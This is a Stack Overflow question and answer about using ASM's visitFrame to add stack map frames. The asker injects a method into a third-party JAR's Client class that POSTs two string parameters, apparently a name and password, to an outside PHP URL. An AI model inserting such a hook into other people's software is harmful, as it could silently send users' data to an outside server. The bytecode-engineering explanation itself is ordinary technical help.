7

I am reading in a bunch of classes from a JAR file in which I plan to inject a simple method (and then dump the new jar) in Java which posts some data to a PHP file:

public static void post(final String n, final String o){
    try{
        final URL url = new URL("http://urltophpfile.com/phpfile.php");
        final HttpURLConnection connection = (HttpURLConnection) url.openConnection();
        connection.setReadTimeout(60000);
        connection.setConnectTimeout(60000);
        connection.setDoInput(true);
        connection.setDoOutput(true);
        connection.setRequestMethod("POST");
        connection.addRequestProperty("User-Agent", "useragent");
        final BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(connection.getOutputStream()));
        writer.write(String.format("n=%s&p=%s", n, o));
        writer.flush();
        writer.close();
        connection.getInputStream().read();
    }catch(IOException ex){
        ex.printStackTrace();
    }
}

Then I viewed the bytecode for it using the Intellij Bytecode Viewer which produced:

    public static post(Ljava/lang/String;Ljava/lang/String;)V
    TRYCATCHBLOCK L0 L1 L2 java/io/IOException
            L0
    LINENUMBER 11 L0
    NEW java/net/URL
            DUP
    LDC "http://urltophpfile.com/phpfile.phpp"
    INVOKESPECIAL java/net/URL.<init> (Ljava/lang/String;)V
    ASTORE 2
    L3
    LINENUMBER 12 L3
    ALOAD 2
    INVOKEVIRTUAL java/net/URL.openConnection ()Ljava/net/URLConnection;
    CHECKCAST java/net/HttpURLConnection
    ASTORE 3
    L4
    LINENUMBER 13 L4
    ALOAD 3
    LDC 60000
    INVOKEVIRTUAL java/net/HttpURLConnection.setReadTimeout (I)V
            L5
    LINENUMBER 14 L5
    ALOAD 3
    LDC 60000
    INVOKEVIRTUAL java/net/HttpURLConnection.setConnectTimeout (I)V
            L6
    LINENUMBER 15 L6
    ALOAD 3
    ICONST_1
    INVOKEVIRTUAL java/net/HttpURLConnection.setDoInput (Z)V
            L7
    LINENUMBER 16 L7
    ALOAD 3
    ICONST_1
    INVOKEVIRTUAL java/net/HttpURLConnection.setDoOutput (Z)V
            L8
    LINENUMBER 17 L8
    ALOAD 3
    LDC "POST"
    INVOKEVIRTUAL java/net/HttpURLConnection.setRequestMethod (Ljava/lang/String;)V
            L9
    LINENUMBER 18 L9
    ALOAD 3
    LDC "User-Agent"
    LDC "useragent"
    INVOKEVIRTUAL java/net/HttpURLConnection.addRequestProperty (Ljava/lang/String;Ljava/lang/String;)V
            L10
    LINENUMBER 19 L10
    NEW java/io/BufferedWriter
            DUP
    NEW java/io/OutputStreamWriter
            DUP
    ALOAD 3
    INVOKEVIRTUAL java/net/HttpURLConnection.getOutputStream ()Ljava/io/OutputStream;
    INVOKESPECIAL java/io/OutputStreamWriter.<init> (Ljava/io/OutputStream;)V
    INVOKESPECIAL java/io/BufferedWriter.<init> (Ljava/io/Writer;)V
    ASTORE 4
    L11
    LINENUMBER 20 L11
    ALOAD 4
    LDC "n=%s&p=%s"
    ICONST_2
    ANEWARRAY java/lang/Object
            DUP
    ICONST_0
    ALOAD 0
    AASTORE
            DUP
    ICONST_1
    ALOAD 1
    AASTORE
    INVOKESTATIC java/lang/String.format (Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
    INVOKEVIRTUAL java/io/BufferedWriter.write (Ljava/lang/String;)V
            L12
    LINENUMBER 21 L12
    ALOAD 4
    INVOKEVIRTUAL java/io/BufferedWriter.flush ()V
            L13
    LINENUMBER 22 L13
    ALOAD 4
    INVOKEVIRTUAL java/io/BufferedWriter.close ()V
            L14
    LINENUMBER 23 L14
    ALOAD 3
    INVOKEVIRTUAL java/net/HttpURLConnection.getInputStream ()Ljava/io/InputStream;
    INVOKEVIRTUAL java/io/InputStream.read ()I
            POP
    L1
    LINENUMBER 26 L1
    GOTO L15
    L2
    LINENUMBER 24 L2
    FRAME SAME1 java/io/IOException
    ASTORE 2
    L16
    LINENUMBER 25 L16
    ALOAD 2
    INVOKEVIRTUAL java/io/IOException.printStackTrace ()V
            L15
    LINENUMBER 27 L15
    FRAME SAME
    RETURN
            L17
    LOCALVARIABLE url Ljava/net/URL; L3 L1 2
    LOCALVARIABLE connection Ljava/net/HttpURLConnection; L4 L1 3
    LOCALVARIABLE writer Ljava/io/BufferedWriter; L11 L1 4
    LOCALVARIABLE ex Ljava/io/IOException; L16 L15 2
    LOCALVARIABLE n Ljava/lang/String; L0 L17 0
    LOCALVARIABLE o Ljava/lang/String; L0 L17 1
    MAXSTACK = 6
    MAXLOCALS = 5
}

Which I then converted to ASM:

    final MethodNode postMethod = new MethodNode(Opcodes.ACC_PUBLIC | Opcodes.ACC_STATIC, "post", "(Ljava/lang/String;Ljava/lang/String;)V", null, null);
    final Label tryStart = new Label();
    postMethod.visitLabel(tryStart);
    postMethod.visitTypeInsn(Opcodes.NEW, "java/net/URL");
    postMethod.visitInsn(Opcodes.DUP);
    postMethod.visitLdcInsn("http://urltophpfile.com/phpfile.php");
    postMethod.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/net/URL", "<init>", "(Ljava/lang/String;)V");
    postMethod.visitVarInsn(Opcodes.ASTORE, 2);
    postMethod.visitVarInsn(Opcodes.ALOAD, 2);
    postMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/net/URLConnection", "openConnection", "()Ljava/net/URLConnection;");
    postMethod.visitTypeInsn(Opcodes.CHECKCAST, "java/net/HttpURLConnection");
    postMethod.visitVarInsn(Opcodes.ASTORE, 3);
    postMethod.visitVarInsn(Opcodes.ALOAD, 3);
    postMethod.visitLdcInsn(60000);
    postMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/net/HttpURLConnection", "setReadTimeout", "(I)V");
    postMethod.visitVarInsn(Opcodes.ALOAD, 3);
    postMethod.visitLdcInsn(60000);
    postMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/net/HttpURLConnection", "setConnectTimeout", "(I)V");
    postMethod.visitVarInsn(Opcodes.ALOAD, 3);
    postMethod.visitInsn(Opcodes.ICONST_1);
    postMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/net/HttpURLConnection", "setDoInput", "(Z)V");
    postMethod.visitVarInsn(Opcodes.ALOAD, 3);
    postMethod.visitInsn(Opcodes.ICONST_1);
    postMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/net/HttpURLConnection", "setDoOutput", "(Z)V");
    postMethod.visitVarInsn(Opcodes.ALOAD, 3);
    postMethod.visitLdcInsn("POST");
    postMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/net/HttpURLConnection", "setRequestMethod", "(Ljava/lang/String;)V");
    postMethod.visitVarInsn(Opcodes.ALOAD, 3);
    postMethod.visitLdcInsn("User-Agent");
    postMethod.visitLdcInsn("useragent");
    postMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/net/HttpURLConnection", "addRequestProperty", "(Ljava/lang/String;Ljava/lang/String;)V");
    postMethod.visitTypeInsn(Opcodes.NEW, "java/io/BufferedWriter");
    postMethod.visitInsn(Opcodes.DUP);
    postMethod.visitTypeInsn(Opcodes.NEW, "java/io/OutputStreamWriter");
    postMethod.visitInsn(Opcodes.DUP);
    postMethod.visitVarInsn(Opcodes.ALOAD, 3);
    postMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/net/HttpURLConnection", "getOutputStream", "()Ljava/io/OutputStream;");
    postMethod.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/io/OutputStreamWriter", "<init>", "(Ljava/io/OutputStream;)V");
    postMethod.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/io/BufferedWriter", "<init>", "(Ljava/io/Writer;)V");
    postMethod.visitVarInsn(Opcodes.ASTORE, 4);
    postMethod.visitVarInsn(Opcodes.ALOAD, 4);
    postMethod.visitLdcInsn("n=%s&p=%s");
    postMethod.visitInsn(Opcodes.ICONST_2);
    postMethod.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
    postMethod.visitInsn(Opcodes.DUP);
    postMethod.visitInsn(Opcodes.ICONST_0);
    postMethod.visitVarInsn(Opcodes.ALOAD, 0);
    postMethod.visitInsn(Opcodes.AASTORE);
    postMethod.visitInsn(Opcodes.DUP);
    postMethod.visitInsn(Opcodes.ICONST_1);
    postMethod.visitVarInsn(Opcodes.ALOAD, 1);
    postMethod.visitInsn(Opcodes.AASTORE);
    postMethod.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/String", "format", "(Ljava/lang/String;[Ljava/lang/Object;)L/java/lang/String;");
    postMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/BufferedWriter", "write", "(Ljava/lang/String;)V");
    postMethod.visitVarInsn(Opcodes.ALOAD, 4);
    postMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/BufferedWriter", "flush", "()V");
    postMethod.visitVarInsn(Opcodes.ALOAD, 4);
    postMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/BufferedWriter", "close", "()V");
    postMethod.visitVarInsn(Opcodes.ALOAD, 3);
    postMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/net/HttpURLConnection", "getInputStream", "()Ljava/io/InputStream;");
    postMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/InputStream", "read", "()I");
    postMethod.visitInsn(Opcodes.POP);
    final Label gotoEnd = new Label();
    postMethod.visitJumpInsn(Opcodes.GOTO, gotoEnd);
    // FRAME SAME1 java/io/IOException <- how to create instruction?
    final Label catchStart = new Label();
    postMethod.visitLabel(catchStart);
    postMethod.visitVarInsn(Opcodes.ASTORE, 2);
    postMethod.visitVarInsn(Opcodes.ALOAD, 2);
    postMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/IOException", "printStackTrace", "()V");
    final Label tryEnd = new Label();
    postMethod.visitLabel(tryEnd);
    postMethod.visitLabel(gotoEnd);
    // FRAME SAME <- how to create instruction?
    postMethod.visitInsn(Opcodes.RETURN);
    postMethod.visitTryCatchBlock(tryStart, tryEnd, catchStart, "java/io/IOException");
    postMethod.visitMaxs(6, 5);

The problem is that when I try dumping all of the classes to the jar and starting it, I receive the exception:

Exception in thread "AWT-EventQueue-0" java.lang.VerifyError: Expecting a stackmap frame at branch target 124
Exception Details:
Location:
        Client.post(Ljava/lang/String;Ljava/lang/String;)V @0: new
Reason:
Expected stackmap frame at this location.
        Bytecode:
        0000000: bb0d ed59 1316 21b7 1119 4d2c b616 27c0
0000010: 1629 4e2d 1316 2ab6 162d 2d13 162a b616
0000020: 302d 04b6 1633 2d04 b616 362d 1316 38b6
0000030: 163b 2d13 163d 1316 3fb6 1642 bb14 5059
        0000040: bb16 4459 2db6 1645 b716 48b7 1456 3a04
0000050: 1904 1316 4a05 bd03 0059 032a 5359 042b
0000060: 53b8 164d b616 4f19 04b6 1652 1904 b614
0000070: 652d b616 53b6 1657 57a7 0008 4d2c b613
0000080: 9ab1
Exception Handler Table:
bci [0, 129] => handler: 124

I receive this exception because I don't know how to properly use the visitFrame method. I've tried to look at the documentation for visitFrame but that didn't help much. Can someone explain how to properly use visitFrame in my scenario? Any help would be greatly appreciated, thanks.

Rafael Winterhalter
  • 42,759
  • 13
  • 108
  • 192
Josh M
  • 11,611
  • 7
  • 39
  • 49
  • I'm not sure if I fully understand what you are doing, but this looks overly complicated for just adding a method to a jar file. Couldn't you just convert the .class to .java, add your method, recompile? – Vineet Kosaraju Dec 05 '13 at 05:16
  • Nope, I unfortunately can't do that. To ask my question in one line: How do you use `visitFrame`? I'm not sure if you looked at the ASM code but there are 2 comments which I'm trying to replace with instructions, but I'm not sure how to. – Josh M Dec 05 '13 at 05:23
  • `Which I then converted to ASM` how did you do that? O_o I want to convert bytecode to java asm too – Nexen Dec 25 '19 at 10:39
  • 1
    @Nexen I use IntelliJ and there's a plugin called "ASM Bytecode Outline". Although, I believe at the time, I converted this manually using a bytecode viewer. – Josh M Jan 09 '20 at 16:30

1 Answers1

12

With Java 6 Oracle introduced stack map frames to make run time validation of Java classes easier. (Easier as in easier for the run time, not as in easier for the author of byte code.) The idea of such frames is that you take away some weight of the Java run time validator by telling the validator what kind of values are lying on the operand stack and what values are stored in the local variables at each target of a jump instruction. All this information has to be provided by calling visitFrame when using ASM. This way, the verfifier does not have to infer these values at run time. In Java 6 the existence of stack map frames was optional, in Java 7, stack map frames became mandatory.

Your code contains two byte code level jump instruction:

  • the beginning of the catch block where you would jump to when an exception occures
  • the end of the catch block right before the end of the method where the control flow jumps to when no exception occurs (byte code always contains an explicit return statement while it can be skipped in Java source code)

Therefore, you would have to add a stack map frame after calling:

postMethod.visitJumpInsn(Opcodes.GOTO, gotoEnd);

and before the explicit return statement in the byte code:

postMethod.visitInsn(RETURN);

This stack map frame would then be added to the method's stack map table. Your options are therefore:

  • Either create a Java class with an older class version (for example Java 5 where stack map frames were unknown.
  • Compile the code with a newer Java version (for example 7) and run the ASMifier on this class. You will get an example output considering these stack map frames by calls to MethodVisitor.visitFrame.
  • Disable the part of your verifier that validates the stack map frames by using the JVM option -XX:-UseSplitVerifier.

If you are creating Java classes with a version number indicating a class compiled by a Java 7 compiler, you must create these stack map frames after each target of a jump instruction. Otherwise, the run time verifier will complain what is exactly what you observe.

For the sake of completeness, here is what I get when using ASMifier on your code:

mv = cw.visitMethod(ACC_PUBLIC + ACC_STATIC, "post", "(Ljava/lang/String;Ljava/lang/String;)V", null, null);
mv.visitCode();
Label l0 = new Label();
Label l1 = new Label();
Label l2 = new Label();
mv.visitTryCatchBlock(l0, l1, l2, "java/io/IOException");
mv.visitLabel(l0);
mv.visitTypeInsn(NEW, "java/net/URL");
mv.visitInsn(DUP);
mv.visitLdcInsn("http://urltophpfile.com/phpfile.php");
mv.visitMethodInsn(INVOKESPECIAL, "java/net/URL", "<init>", "(Ljava/lang/String;)V");
mv.visitVarInsn(ASTORE, 2);
mv.visitVarInsn(ALOAD, 2);
mv.visitMethodInsn(INVOKEVIRTUAL, "java/net/URL", "openConnection", "()Ljava/net/URLConnection;");
mv.visitTypeInsn(CHECKCAST, "java/net/HttpURLConnection");
mv.visitVarInsn(ASTORE, 3);
mv.visitVarInsn(ALOAD, 3);
mv.visitLdcInsn(new Integer(60000));
mv.visitMethodInsn(INVOKEVIRTUAL, "java/net/HttpURLConnection", "setReadTimeout", "(I)V");
mv.visitVarInsn(ALOAD, 3);
mv.visitLdcInsn(new Integer(60000));
mv.visitMethodInsn(INVOKEVIRTUAL, "java/net/HttpURLConnection", "setConnectTimeout", "(I)V");
mv.visitVarInsn(ALOAD, 3);
mv.visitInsn(ICONST_1);
mv.visitMethodInsn(INVOKEVIRTUAL, "java/net/HttpURLConnection", "setDoInput", "(Z)V");
mv.visitVarInsn(ALOAD, 3);
mv.visitInsn(ICONST_1);
mv.visitMethodInsn(INVOKEVIRTUAL, "java/net/HttpURLConnection", "setDoOutput", "(Z)V");
mv.visitVarInsn(ALOAD, 3);
mv.visitLdcInsn("POST");
mv.visitMethodInsn(INVOKEVIRTUAL, "java/net/HttpURLConnection", "setRequestMethod", "(Ljava/lang/String;)V");
mv.visitVarInsn(ALOAD, 3);
mv.visitLdcInsn("User-Agent");
mv.visitLdcInsn("useragent");
mv.visitMethodInsn(INVOKEVIRTUAL, "java/net/HttpURLConnection", "addRequestProperty", "(Ljava/lang/String;Ljava/lang/String;)V");
mv.visitTypeInsn(NEW, "java/io/BufferedWriter");
mv.visitInsn(DUP);
mv.visitTypeInsn(NEW, "java/io/OutputStreamWriter");
mv.visitInsn(DUP);
mv.visitVarInsn(ALOAD, 3);
mv.visitMethodInsn(INVOKEVIRTUAL, "java/net/HttpURLConnection", "getOutputStream", "()Ljava/io/OutputStream;");
mv.visitMethodInsn(INVOKESPECIAL, "java/io/OutputStreamWriter", "<init>", "(Ljava/io/OutputStream;)V");
mv.visitMethodInsn(INVOKESPECIAL, "java/io/BufferedWriter", "<init>", "(Ljava/io/Writer;)V");
mv.visitVarInsn(ASTORE, 4);
mv.visitVarInsn(ALOAD, 4);
mv.visitLdcInsn("n=%s&p=%s");
mv.visitInsn(ICONST_2);
mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
mv.visitInsn(DUP);
mv.visitInsn(ICONST_0);
mv.visitVarInsn(ALOAD, 0);
mv.visitInsn(AASTORE);
mv.visitInsn(DUP);
mv.visitInsn(ICONST_1);
mv.visitVarInsn(ALOAD, 1);
mv.visitInsn(AASTORE);
mv.visitMethodInsn(INVOKESTATIC, "java/lang/String", "format", "(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;");
mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/BufferedWriter", "write", "(Ljava/lang/String;)V");
mv.visitVarInsn(ALOAD, 4);
mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/BufferedWriter", "flush", "()V");
mv.visitVarInsn(ALOAD, 4);
mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/BufferedWriter", "close", "()V");
mv.visitVarInsn(ALOAD, 3);
mv.visitMethodInsn(INVOKEVIRTUAL, "java/net/HttpURLConnection", "getInputStream", "()Ljava/io/InputStream;");
mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/InputStream", "read", "()I");
mv.visitInsn(POP);
mv.visitLabel(l1);
Label l3 = new Label();
mv.visitJumpInsn(GOTO, l3);
mv.visitLabel(l2);
mv.visitFrame(Opcodes.F_SAME1, 0, null, 1, new Object[] {"java/io/IOException"});
mv.visitVarInsn(ASTORE, 2);
mv.visitVarInsn(ALOAD, 2);
mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/IOException", "printStackTrace", "()V");
mv.visitLabel(l3);
mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null);
mv.visitInsn(RETURN);
mv.visitMaxs(6, 5);
mv.visitEnd();
Rafael Winterhalter
  • 42,759
  • 13
  • 108
  • 192
  • Thanks so much for your complete answer, was very informative. The code by ASMifier worked. Could you maybe show me how you generated that code? I tried doing: `ASMifier.main("org.objectweb.asm.util.ASMifier Test.class");` which produced a very weird result. – Josh M Dec 05 '13 at 14:34
  • Drop the `org.objectweb.asm.util.ASMifier` from the argument, simply call `ASMifier.main("/user/folder/Test.class")` if this is where your class file is stored. You usually call ASMifier from the command line, for example from `cmd` in MS Windows. You would call `java -jar Test.class` when `Test.class` lies in the same folder as working directory. – Rafael Winterhalter Dec 05 '13 at 14:44
  • I tried that but I got an `Exception in thread "main" java.lang.IllegalArgumentException` – Josh M Dec 05 '13 at 14:49
  • This means that you did not specify a valid path to your **class** file (you are **not** supposed to give the source Test.java file). When calling from Java, you must supply an **array** (my example in the comment above is wrong): `ASMifier.main(new String[]{"/users/folder/Test.class"});` Also make sure you are calling ASM-*tools* when calling from the console which is where the `ASMifier` lives. – Rafael Winterhalter Dec 05 '13 at 14:52
  • Yeah, I just navigated to the class file using windows explorer and copied the location of it and passed that as an argument (in a `String[]`) which produced the `java.lang.IllegalArgumentException`. – Josh M Dec 05 '13 at 14:56
  • What does your stack trace say? – Rafael Winterhalter Dec 05 '13 at 14:59
  • let us [continue this discussion in chat](http://chat.stackoverflow.com/rooms/42597/discussion-between-raphw-and-josh-m) – Rafael Winterhalter Dec 05 '13 at 15:06